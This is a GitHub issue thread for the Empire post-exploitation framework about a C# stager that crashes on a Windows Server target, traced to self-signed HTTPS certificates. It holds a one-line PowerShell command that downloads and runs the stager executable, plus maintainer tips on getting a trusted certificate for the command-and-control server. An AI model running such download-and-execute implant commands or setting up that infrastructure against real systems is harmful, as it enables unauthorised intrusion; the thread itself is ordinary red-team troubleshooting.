[BUG] Csharp stager incorrect source code

BC-SECURITY / Empire

Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers.

https://bc-security.gitbook.io/empire-wiki/

BSD 3-Clause "New" or "Revised" License

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[BUG] Csharp stager incorrect source code #463

Open captain-woof opened 3 years ago

captain-woof commented 3 years ago

Note: Please fill out all sections (if applicable) and do not delete the below section headers, otherwise the bot will close the issue.

Empire Version

Empire 4.0.0+gitsubmodule-0kali2

OS Information (Linux flavor, Python version)

OS: Kali
Python: 3.9

Describe the bug

Executing a csharp stager on a target machine throws off this error:

System.NullReferenceException: Object reference not set to an instance of an object.
   at Sharpire.EmpireStager.Execute()
   at Program.Main()

To Reproduce

Steps to reproduce the behavior:

Set up listener
Turn on csharp compiler plugin
Create csharp stager
Execute stager on target

Expected behavior

Execution of the stager.

Screenshots

None

Additional context

None

Hubbl3 commented 3 years ago

@captain-woof can you please expand more on the problem? I just tested with a clean install of Empire and am unable to reproduce

What is the target box you are trying to run on? How are you launching the implant? Which version of Kali are you on? Can you provide any screen shots of the error?

captain-woof commented 3 years ago

@Hubbl3

Target box's systeminfo

Hostname: REDACTED
Domain Name: REDACTED.local
ProductName: Windows Server 2019 Standard
EditionID: ServerStandard
ReleaseId: 1809
BuildBranch: rs5_release
CurrentMajorVersionNumber: 10
CurrentVersion: 6.3
Architecture: AMD64
ProcessorCount: 4
SystemLang: en-US
IsVirtualMachine: True
HighIntegrity: False
PartOfDomain: True
Hotfixes:

Launching the implant iwr -uri URL -outfile stager.exe; ./stager.exe
Version of Kali Kali 2021.2 (5.10.0-kali9-amd64)
Demo

https://user-images.githubusercontent.com/72122026/126266500-5c0f02fb-8f1b-42ec-a8c0-8420f4cb4f31.mp4

Hubbl3 commented 3 years ago

@captain-woof The only time I am able to reproduce the issue is when I attempt to use https with a self signed cert. Turns otu the .webrequest call will automatically reject self-signed certs. I am working testing that. Normal http traffic returns fine. Are you able to get a powershell agent to connect?

The only other issue I can think of, is have you checked to make sure that you compiled against the proper .NET version for the target box. Can you check which versions are installed? You can use this script:

Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version,Release -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select PSChildName, Version, Release

thank you for providing the video it was very useful

captain-woof commented 3 years ago

@Hubbl3 Well, I was using self signed cert, so that may have been the issue. Also, I did check the correct .NET Framework version before compiling, so yes, that part has no problem.

If self signed certs are rejected, is there a work around?

Hubbl3 commented 3 years ago

@captain-woof so there are suggestions for work arounds like this:

https://stackoverflow.com/questions/526711/using-a-self-signed-certificate-with-nets-httpwebrequest-response

but I haven't been able to get it to work for some reason.

Depending upon you need you can use an AWS or Azure hosted VPS with certbot to get a legitimate signed cert for free. Let's Encrypt has blacklisted AWS domains from receiving a cert so you need another domain on top. There are some sites like:

https://codotvu.co/

to get a free domain so you don't need to purchase one. I have verified that the C# agent does work when utilizing a Let's Encrypt cert

captain-woof commented 3 years ago

@Hubbl3 Thanks for the suggestion :) 👍